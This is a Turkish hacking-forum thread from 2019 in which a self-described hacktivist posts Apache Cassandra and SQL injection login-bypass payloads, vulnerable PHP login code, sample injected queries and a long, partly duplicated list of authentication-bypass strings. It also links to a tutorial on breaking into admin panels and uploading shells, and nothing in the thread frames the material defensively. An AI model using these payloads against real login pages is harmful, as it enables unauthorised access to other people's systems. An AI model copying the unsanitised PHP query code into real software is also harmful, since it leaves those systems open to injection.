Konuyu Oyla:
  • Toplam: 1 Oy - Ortalama: 5
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: Cassandra ve NoSQL Inject. Payload Bypass Örnekleri
KingSkrupellos
*
avatar
Hacktivist
Durum: Çevrimdışı
Seviye Puanı: 56
Yaşam Puanı: 1,382 / 1,382
Deneyim: 30 / 100
Rep Sayısı: 2826
Mesaj Sayısı: 6456
Üyelik Tarihi: 21.08.2013
     
Yorum: #1
Cassandra ve NoSQL Inject. Payload Bypass Örnekleri
10.02.2019 15:18
Apache Cassandra ve NoSQL Injection Payload Bypass Örnekleri

Author => KingSkrupellos
Team => Cyberizm Digital Security Team

SQL Kimlik Doğrulamayla Yönetici Oturumu Açarak Panele Shell Yükleme

Konu Linkleri ve Detaylar =>

Kod:
cyberizm.org/cyberizm-sql-kimlik-dogrulamayla-yonetici-oturumu-acarak-panele-shell-yukleme.html

Apache Cassandra Orjinal WebSitesi =>
Kod:
cassandra.apache.org/doc/4.0/cql/

NoSQL =>
Kod:
mongodb.com/nosql-explained - nosql-database.org

# Cassandra Injection

> Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system

## Cassandra comment

Kod:
```sql
/* Cassandra Comment */
```

## Cassandra - Login Bypass

### Login Bypass 0

Kod:
```sql
username: admin' ALLOW FILTERING; %00
password: ANY
```

### Login Bypass 1

Kod:
```sql
username: admin'/*
password: */and pass>'
```

The injection would look like the following SQL query

Kod:
```sql
SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;

Ve Diğer Örnekler =>

Kod:
<?php
   $sql = "SELECT * FROM users WHERE username='" . $_POST['username'] . "' AND password='" . $POST_['password'] . "'";
   response = mysql_query($sql);
   ?>

______________________________________________________________


Kod:
SELECT * FROM users WHERE user='' AND password='' <

______________________________________________________________

Kod:
Username=’admin’ AND Password=” OR ‘a’ = ‘a’ <

______________________________________________________________

Kod:
<?php
    $username = mysql_real_escape_string($_POST["username"]);
    $password = mysql_real_escape_string($_POST["password"]);
    $sql = "SELECT * FROM users WHERE username='" . $username . "' AND password='" . $password . "'";
    $response = mysql_query($sql);
    ?>

______________________________________________________________

Kod:
SELECT USER from database WHERE username=’administrator’ AND password=’admin123456789′

______________________________________________________________

Kod:
SELECT USER from database WHERE username=’hi" or 1=1 --’ or 1=1– AND password=”hi" or 1=1 --

______________________________________________________________

Kod:
1) SELECT * FROM users
WHERE name='tom'
and password='tom'

2) SELECT * FROM users
WHERE name='tom'
and password='' or '1'='1'

3) SELECT * FROM users
WHERE name='tom'
and password='' or 1='1'

4) SELECT * FROM users
WHERE name='tom'
and password='' or 1=1-- -'

5) SELECT * FROM users
WHERE name='' or '1'='1'
and password='' or '1'='1'

6) SELECT * FROM users
WHERE name='' or ' 1=1'
and password='' or ' 1=1'

7) SELECT * FROM users
WHERE name='1' or 1=1 -- -'
______________________________________________________________

Kod:
$uname=$_POST['uname'];
$passwrd=$_POST['passwrd'];
$query="select username,pass from users where username='$uname' and password='$passwrd' limit 0,1";
$result=mysql_query($query);
$rows = mysql_fetch_array($result);
if($rows)
{
echo "Başarıyla Giriş Yaptınız - Cyberizm.Org" ;
create_session();
}
else
{
Echo "Şansına küs bir sonraki sefere yeniden dene";
}
______________________________________________________________

Kod:
1) select username,pass from users where username='' or ''='' and password='' or ''='' limit 0,1;

2) select username,pass from users where username='' or true--' and password='' or ''='' limit 0,1;

3) select username,pass from users where username='' or true;

4) select username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;
______________________________________________________________

SQL Authentication Bypass Payload Örnekleri =>

Kod:
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'
==
and 1=1--
and 1=1
Cyberizm.Org
' or 'one'='one--
' or 'one'='one
' and 'one'='one
' and 'one'='one--
1') and '1'='1--
admin' --
admin' #
admin'/*
or 1=1--
or 1=1#
or 1=1/*
) or '1'='1--
) or ('1'='1--
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
Cyberizm.Org
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
Cyberizm.Org
admin') or '1'='1'/*
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
' or 0=0 --
admin
' or '1'='1
' or 1='1
1' or 1=1 -- -
' or '1'='1
' or ' 1=1
1' or 1=1 -- -
' or ' 1=1
anything' OR 'x'='x

___________________________________________________

$$$$$$$$$$$ THE END $$$$$$$$$$$$
(Bu konu en son: 11.02.2019 Tarihinde, Saat: 11:46 düzenlenmiştir. Düzenleyen: Ayar.)

# Cyberizm Digital Security Technological Turkish Moslem Army #
# İnsanda bir organ vardır. Eğer o sağlıklı ise bütün vücut sağlıklı olur;
eğer o bozulursa bütün vücut bozulur. Dikkat edin! O, kalptir.
[ Hz.Muhammed S.A.V ] #


Alinti
Rep Verenler: Storix
#Ayar
*
avatar
Tabutçu
Durum: Çevrimdışı
Seviye Puanı: 35
Yaşam Puanı: 786 / 873
Deneyim: 95 / 100
Rep Sayısı: 1547
Mesaj Sayısı: 1860
Üyelik Tarihi: 13.08.2013
      
Yorum: #2
RE: Cassandra ve NoSQL Inject. Payload Bypass Örnekleri
11.02.2019 11:46
Teşekkürler, Emeğine Sağlık Smile

Başka forumlarda üyeliğim bulunmamaktadır.
ayar
Alinti



1 Ziyaretçi